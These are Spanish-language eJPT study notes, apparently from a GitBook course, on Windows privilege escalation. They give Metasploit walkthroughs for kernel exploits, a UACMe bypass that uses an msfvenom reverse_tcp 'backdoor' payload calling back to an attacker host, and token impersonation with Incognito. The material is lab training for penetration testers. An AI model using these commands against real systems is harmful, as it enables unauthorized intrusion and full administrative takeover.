eJPT
  • 👋Welcome
  • Tools
    • 🔭Escaneo y Enumeración
  • SECTION 1: Assessment Methodologies
    • Assessment Methodologies: Information Gathering
      • Introducción a la Recopilación de Información
        • Start Quiz
      • Passive Information Gathering
      • Active Information Gathering
    • Assessment Methodologies: Footprinting & Scanning
      • Introduction
      • Networking Primer
      • Host Discovery
      • Port Scanning
      • Evasion, Scan Performance & Output
      • Page
      • Challenges
    • Assessment Methodologies: Enumeration
      • Overview
      • SMB Lesson
      • FTP Lesson
      • SSH Lesson
      • HTTP Lesson
      • SQL Lesson
    • Assessment Methodologies: Vulnerability Assessment
      • Vulnerability Assessment
      • Course Labs
  • SECTION 2: Host & Networking Auditing
    • Assessment Methodologies: Auditing Fundamentals
      • Assessment Methodologies
      • Practice
  • SECTION 3: Host & Network Penetration Testing
    • Host & Network Penetration Testing: System/Host Based Attacks
      • Introduction to Attacks
      • Windows Vulnerabilities
      • Exploiting Windows Vulnerabilities
      • Windows Privilege Escalation
      • Windows File System Vulnerabilities
      • Windows Credential Dumping
      • Linux Vulnerabilities
      • Exploiting Linux Vulnerabilities
      • Linux Privilege Escalation
      • Linux Credential Dumping
      • Conclusion
    • Host & Network Penetration Testing: Network-Based Attacks
      • Network-Based Attacks
    • Host & Network Penetration Testing: The Metasploit Framework (MSF)
      • Metasploit
        • Metasploit Fundamentals
      • Information Gathering & Enumeration
        • Nmap
        • Enumeration
      • Vulnerability Scanning
        • MSF
        • Nessus
        • Web Apps
      • Client-Side Attacks
        • Payloads
        • Automating
      • Exploitation
        • Windows Exploitation
        • Linux Exploitation
        • Post Exploitation Fundamentals
        • Windows Post Exploitation
        • Linux Post Exploitation
      • Armitage
        • Metasploit GUIs
    • Host & Network Penetration Testing: Exploitation
      • Introduction To Exploitation
      • Vulnerability Scanning Overview
      • Exploits
        • Searching For Exploits
        • Fixing Exploits
      • Shells
      • Frameworks
      • Windows
      • Linux
      • Obfuscation
    • Host & Network Penetration Testing: Post-Exploitation
      • Introduction
      • Windows Enumeration
      • Linux Enumeration
      • Transferring Files
      • Shells
      • Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
      • Persistence
        • Windows Persistence
        • Linux Persistence
      • Dumping & Cracking
        • Windows Password Hashes
        • Linux Password Hashes
      • Pivoting Lesson
      • Clearing
  • Host & Network Penetration Testing: Social Engineering
    • Social Engineering
  • SECTION 4: Web Application Penetration Testing
    • Introduction to the Web & HTTP Protocol
      • Web Applications
      • HTTP Protocol
        • HTTP/S Protocol Fundamentals
        • Website Crawling & Spidering
Powered by GitBook
On this page
  • Privelege Escalation
  • Windows Kernel
  • Windows Kernel Exploits
  • Tools & Environment
  • Demo: Windows Kernel Exploits
  • Quiz
  • Bypassing UAC With UACMe
  • UAC (User Account Control)
  • Bypassing UAC
  • Bypassing UAC With UACMe
  • Demo: Bypassing UAC With UACMe
  • Quiz
  • Access Token Impersonation
  • Windows Access Tokens
  • Windows Privileges
  • The Incognito Module
  • Demo: Access Token Impersonation
  • Quiz
  1. SECTION 3: Host & Network Penetration Testing
  2. Host & Network Penetration Testing: System/Host Based Attacks

Windows Privilege Escalation

Privelege Escalation

La escalada de privilegios es el proceso de explotar vulnerabilidades o configuraciones incorrectas en los sistemas para elevar privilegios de un usuario a otro, generalmente a un usuario con acceso administrativo o root en un sistema.

Cuando tenemos acceso a un sistema y en este caso es un sistema Windows puedo verificar que el rol puede tener accesos muy limitados en términos de datos. Por lo cual uno debera de elevar los privilegios a nivel Administrador.

Es muy importante entender los diferentes tipos de escalada de privilegios que hay a nivel de Windows y Linux.

La escalada de privilegios es un elemento vital del ciclo de vida del ataque y es un determinante importante en el éxito general de una prueba de penetración.

Después de establecerse inicialmente en un sistema de destino, se le pedirá que aumente sus privilegios para poder realizar tareas y funciones que requieren privilegios administrativos.

No se puede subestimar ni pasar por alto la importancia de la escalada de privilegios en el proceso de pruebas de penetración. Desarrollar tus habilidades de escalada de privilegios te destacará como un buen evaluador de penetración.

Existe varios vectores de explotación que uno puede reutilizar y existe múltiples exploits (módulos que puede explotar el código disponible que puede llegar a simplificar el proceso

Windows Kernel

Un Kernel es un programa informático que es el núcleo de un sistema operativo y tiene control total sobre todos los recursos y hardware de un sistema. Actúa como una capa traductora entre hardware y software y facilita la comunicación entre estas dos capas.

Windows ejecuta un Kernel llamado "Windows NT"

Windows NT es el kernel que viene pre-empaquetado con todas las versiones de Microsoft Windows y funciona como un kernel tradicional con algunas excepciones basadas en la filosofía de diseño del usuario. Consta de dos modos principales de operación que determinan el acceso a los recursos y al hardware del sistema:

  • User Mode: Los programas y servicios que se ejecutan en modo de usuario tienen acceso limitado a los recursos y la funcionalidad del sistema. Estas aplicaciones suelen ser programas de terceros.

  • Mode Kernel: El modo Kernel tiene acceso ilimitado a los recursos y funciones del sistema con la funcionalidad adicional de managing devices y system memory.

Si estamos intentado elevar nuestros privilegios explotando el Kernel de Windows, es por que si obtenemos algún código ejecutado en el modo Kernel o en el espacio del Kernel, o ejecutamos alguna Shell, podríamos obtener privilegios disponibles en el sistema operativo.

Windows Kernel Exploits

Los exploits del Kernel en Windows normalmente apuntan a vulnerabilidades en el Kernel de Windows para ejecutar código arbitrario con el fin de ejecutar comandos privilegiados del sistema u obtener un shell del sistema.

Este proceso diferirá según la versión de Windows a la que se dirige y el exploit del Kernel que se utiliza.

La escalada de privilegios en sistemas Windows normalmente seguirá la siguiente metodología:

  • Identificación de vulnerabilidades del Kernel

  • Descargar, compilar y transferir exploits del Kernel al sistema de destino.

Tools & Environment

Windows-Exploit-Suggester: Esta herramienta compara los niveles de parche de destino con los Base de datos de vulnerabilidades de Microsoft para detectar posibles parches faltantes en el objetivo. También notifica al usuario si hay exploits públicos y módulos Metasploit. disponible para los boletines faltantes.

GitHub: https://github.com/AonCyberLabs/Windows-Exploit-Suggester

Windows-Kernel-Exploits: Colección de exploits del Kernel de Windows ordenados por CVE.

GitHub: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-135

Nota: Las técnicas demostradas en este video se realizan en Windows 7 SP1. VM.

Demo: Windows Kernel Exploits

# Contiene una conexion con un usuario con minimos privilegios.
# NOTA: NO EJECUTAR EXPLOITS EN ENTORNOS DE PRODUCCION
# PUEDE OCACIONAR ERRORES EN EL SERVIDOR
# Ingresar a metasploit
# 
sessions
sessions 3

getuid

# Comando para ver que los privilegios del usuario
getprivs

# Comenzaremos a identificar el Kernel para encontrar alguna vulnerabilidad dentro de
# de la misma

# Puede ejecutar el siguiente comando pero no puede tener ningun resultado
getsystem

# Encontrar alguna vulnerabilidad 
# Modulo Suggestor
#
# Iniciar Metasploit
search suggester
use 0
show options
# Establecer la sesion segun sea el numero
# Tambien puedes enumerar las sesiones 
sessions
# Debera de establecer el ID de session
run

# Cuando se termine de ejecutar nos proporcionara una lista de modulos sugeridos
# para elevar privilegios
#
# Debe de probar y investigar cual de los modulos se adapta mejor a la explotacion
# de los recursos del sistema destino
#
# Despues de determinar el modulo simplemente seleccione el modulo
# Ejm.
# exploit/windows/local/ms16_014_wmi_recv_notif

use exploit/windows/local/ms16_014_wmi_recv_notif
show options
set SESSION <ID de session meterprete>
set LPORT 123
exploit

# Verificar si fue capaz elevar los privilegios de la sesion

getuid

# Encontrar alguna vulnerabilidad 
# Modulo Suggestor
# Se utilizara un modo manual

# Se debe de recopilar informacion del SO del objetivo/Target
# desde la sesion de meterprete puede ejecutar los siguientes comandos
shell
# Lo importante del siguinete comando es que tiene informacion de los Hotfix que 
# tiene instlado el objetivo
systeminfo

# Copear toda la salida del comando "systeminfo" en un archivo de texto
# Se hara el uso del modulo "Windows Exploit Suggester" el mismo debera de ser
# clonado desde el repositorio de github y debe de asegurar que este actualizado
windows-exploit-suggester.py --database <File>.xls --systeminfo <path systeminfo.txt>

# El modulo ordenera desde el modulo mas probable en que tenga existo al menos proba.
# le dara un resumen y la documentacion asociada a la vulnerabilidad y lo que puede
# usar. Como codigos en github. Lo que permite tener un alcance mas amplio con
# respecto a que tipos de exploits estan disponibles


# Indetificando y entendiendo a que es vulnerable si es un Windows puede buscar 
# en Github
# https://github.com/SecWiki/windows-kernel-exploits

# Subir el archivo precopilado (binario) descargado de github al Target
# Desde el meterprete
cd C:\<path directory temp>
upload ~/Downloads/<binario>.exe
.\<binario>.exe <Opertive System>
# Puede demorar un par de minutos en ejecutar

whoami

Quiz

Bypassing UAC With UACMe

UAC (User Account Control)

El Control de cuentas de usuario (UAC - User Account Control) es una característica de seguridad de Windows introducida en Windows Vista que se utiliza para evitar que se realicen cambios no autorizados en el sistema operativo.

UAC se utiliza para garantizar que los cambios en el sistema operativo requieran la aprobación del administrador o de una cuenta de usuario que forme parte del grupo de administradores locales.

A un usuario sin privilegios que intente ejecutar un programa con privilegios elevados se le solicitará la credencial UAC, mientras que a un usuario privilegiado se le solicitará un mensaje de consentimiento.

Los ataques pueden eludir UAC para ejecutar ejecutables maliciosos con privilegios elevados.

Bypassing UAC

Para evitar UAC con éxito, necesitaremos tener acceso a una cuenta de usuario que forme parte del grupo de administradores locales en el sistema de destino de Windows.

UAC permite que un programa se ejecute con privilegios administrativos, por lo que solicita confirmación al usuario.

UAC tiene varios niveles de integridad que van de bajo a alto; si el nivel de protección de UAC se establece por debajo de alto, los programas de Windows se pueden ejecutar con privilegios elevados sin pedir confirmación al usuario.

Existen varias herramientas y técnicas que se pueden utilizar para evitar UAC; sin embargo, la herramienta y la técnica utilizadas dependerán de la versión de Windows que se ejecute en el sistema de destino.

Parte del workflow es que crear un payload con venon de MSF (Metasploit Framework) para subir al objetivo. Cuando ejecutemos el malware, podra ejecutarse como administrador sin pasar por el control UAC o por un consentimiento. Como resultado tendremos una conexion por interprete como Administrador

Bypassing UAC With UACMe

UACMe es una sólida herramienta de escalada de privilegios de código abierto desarrollada por @hfireOx. Se puede utilizar para evitar el UAC de Windows aprovechando varias técnicas.

GitHub: https://github.com/hfirefOx/UACME

El repositorio UACME GitHub contiene una lista muy bien documentada de métodos que se pueden utilizar para omitir UAC en múltiples versiones de Windows, desde Windows 7 hasta Windows 10.

Permite a los atacantes ejecutar cargas útiles maliciosas en un objetivo de Windows con privilegios administrativos/elevados abusando de la herramienta incorporada Windows AuteElevate.

El repositorio UACMe GitHub tiene más de 60 exploits que pueden usarse para evitar UAC dependiendo de la versión de Windows que se ejecuta en el objetivo.

Demo: Bypassing UAC With UACMe

# Laboratorio en un entorno windows
cmd > net users

# Ver los usuarios que pertenecen al grupo de administrator 
cmd > net localgroup administrators


# Host Atacante

search rejetto
use exploit/windows/http/rejetto_hfs_exec
show options
exploit

# Posterior a mantener una conexion por meterpreter
sysinfo

# Buscamos un proceso para migrar
pgrep explorer
# Migramos
migrate <ID Process>

sysinfo 
# Verificamos el nombre de nuestro usuario y sus privilegios
getuid
getprivs

# Indentificamos las cuentas y los usuarios que estan en Administrators
shell
net user
net localgroup administrators

# Despues de verificar que el usuario que estamos utilizando se encuentra en el 
# grupo de Administrators, podemos ejecutar los siguientes paso en caso de recibir 
# algun error.

# Ejemplo
net user admin password123
    System error 5 has ocurred.
    Access is denied.

# Creamos un temporal en la unidad C
cd C:\\
mkdir Temp
cd Temp
# Salir del modo shell
# Subir el ejecutable que se creeo con msfvenom
upload <name>.exe
# Subir el ejecutable que de Akagi
upload <path>/UACME/Akagi64.exe

# Realizamos reversing
# Creamos un payload con msfvenom
msfvenom -p /windows/meterpreter/reverse_tcp LHOST=<IP Hacker> LPORT=<1234> -f exe > <name>.exe
# Ejecutar el playload
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <IP Hacker>
set LPORT <1234>
run
# No cerrar la terminal

# Ingresar a la sesion de meterpreter
shell
cd Temp
.\Akagi64.exe 23 <Path>\backdoor\<name>.exe
# Posterior a la ejecucion se establecera conexion por la conexion de meterpreter 
# Ir a la sesion de meterpreter y ejecutar los siguientes comandos

getprivs
presstree
# Podemos migrar a cualquier proceso
migrate <Process ID>
sysingo
getuid



Quiz

Access Token Impersonation

Windows Access Tokens

Los tokens de acceso de Windows son un elemento central del proceso de autenticación en Windows y son creados y administrados por el Servicio del Subsistema de Autoridad de Seguridad Local (LSASS - Local Security Authority Subsystem Service).

Un token de acceso de Windows es responsable de identificar y describir el contexto de seguridad de un proceso o subproceso que se ejecuta en un sistema. En pocas palabras, un token de acceso puede considerarse como una clave temporal similar a una cookie web que proporciona a los usuarios acceso a un sistema o recurso de red sin tener que proporcionar credenciales cada vez que se inicia un proceso o se accede a un recurso del sistema.

Los tokens de acceso son generados por el proceso winlogon.exe cada vez que un usuario se autentica exitosamente e incluyen la identidad y los privilegios de la cuenta de usuario asociada con el hilo (thread) o proceso. Luego, este token se adjunta al proceso userinit.exe, después del cual todos los procesos secundarios iniciados por un usuario heredarán una copia del token de acceso de su creador y se ejecutarán con los privilegios del mismo token de acceso. En otras palabras cada vez que intente abrir un navegador por ejemplo Firefox.exe entonces el proceso se ejecutara con el token de acceso o los privilegios asociados, con el mismo.

Los tokens de acceso de Windows se clasifican según los distintos niveles de seguridad que se les asignan. Estos niveles de seguridad se utilizan para determinar los privilegios que se asignan a un token específico.

Normalmente, a un token de acceso se le asignará uno de los siguientes niveles de seguridad:

  • Impersonate-level: Los tokens de nivel de suplantación se crean como resultado directo de un inicio de sesión no interactivo en Windows, generalmente a través de servicios del sistema específicos o inicios de sesión de dominio.

  • Delegate-level: Los tokens de nivel de delegado generalmente se crean mediante un inicio de sesión interactivo en Windows, principalmente mediante un inicio de sesión tradicional o mediante protocolos de acceso remoto como RDP.

Impersonate-level: Los tokens de nivel de suplantación se pueden utilizar para suplantar un token en el sistema local y no en ningún sistema externo que utilice el token.

Delegate-level: Los tokens a nivel de delegado representan la mayor amenaza, ya que pueden usarse para hacerse pasar por tokens en cualquier sistema.

Windows Privileges

El proceso de suplantar tokens de acceso para elevar los privilegios en un sistema dependerá principalmente de los privilegios asignados a la cuenta que ha sido explotada para obtener acceso inicial, así como de los tokens de Impersonate o Delegate disponibles.

Los siguientes son los privilegios necesarios para un ataque de suplantación exitoso:

  • SeAssignPrimaryToken: Esto permite a un usuario hacerse pasar por tokens.

  • SeCreateToken: Esto permite a un usuario crear un token arbitrario con privilegios administrativos.

  • SelmpersonatePrivilege: esto permite a un usuario crear un proceso bajo el contexto de seguridad de otro usuario, normalmente con privilegios administrativos.

The Incognito Module

El modulo Incognito, es un módulo de meterpreter integrado que originalmente era una aplicación independiente que le permite hacerse pasar por tokens de usuario después de una explotación exitosa.

Podemos usar el módulo de incógnito para mostrar una lista de tokens (enumaracion) disponibles que podemos suplantar y todo el proceso de la misma el cual implica dos tecnicas.

  • La primera tecnica se mostrara en la demo

  • La segunda tecnica consistira esencialmente en utilizar codigo de explotacion.

Demo: Access Token Impersonation

# Enumeracion y explotacion al puerto 80
nmap <Target>
# Ingresamos a metsploit

search rejetto
use 0
# Nota: El peyload se establece por defecto para sistemas de 64bits
show options
set RHOSTS <Target>
exploit
# Despues de ejecutar o tener una sesion abierta con meterpreter podemos realizar la
# tecnica
sysinfo
# Explorar procesos para migrar
pgrep explorer
migrate <ID de proceso>
# Si nos obtenemos un resultado de "Access is denied" debera de revisar el usuario
# con:
getuid
# Debera de revisar los privilegios del usuario
getprivs
# Si tenemos los privilegios de SeAssignPrimaryToken - SeCreateToken 
# - SelmpersonatePrivilege
# Podra cargar el modo "incognito"
load incognito
# En caso de que no se haya cargado conexito debera de ejecutar nuevamente el exploit
# para obtener la sesion meterpreter

# Enumeracion de la cuenta de usuario
list_tokens -u

# Nos enumerara los tokens  de "Delegation y Impersonation"
# Tener en cuenta en que contextos se genera cada token

# En este caso de uso tendremos token en la seccion de "Delegation"
# Para suplantar el token se debera de copear el path completo del usuario

# Suplantacion
impersonate_token "<Path User>"
# Para verificar que ingresamos con el usuario y tengamos todos los privilegios
# correspondiente al usuario ejecutar:
getuid
getprivs

# Podemos migrar de procesos
pgrep explorer
migrate <ID Process>
getuid
getprivs


# Encaso de que no tengamos ningun token durante la enumeracion
# Puede usar el ataque de Potato
# Cabe aclara que cada vez que uses la sumplantacion podras enumerar mas tokens 
# o menos
# Deacuerdo a los privilegios del usuario

Quiz

PreviousExploiting Windows VulnerabilitiesNextWindows File System Vulnerabilities

Last updated 3 months ago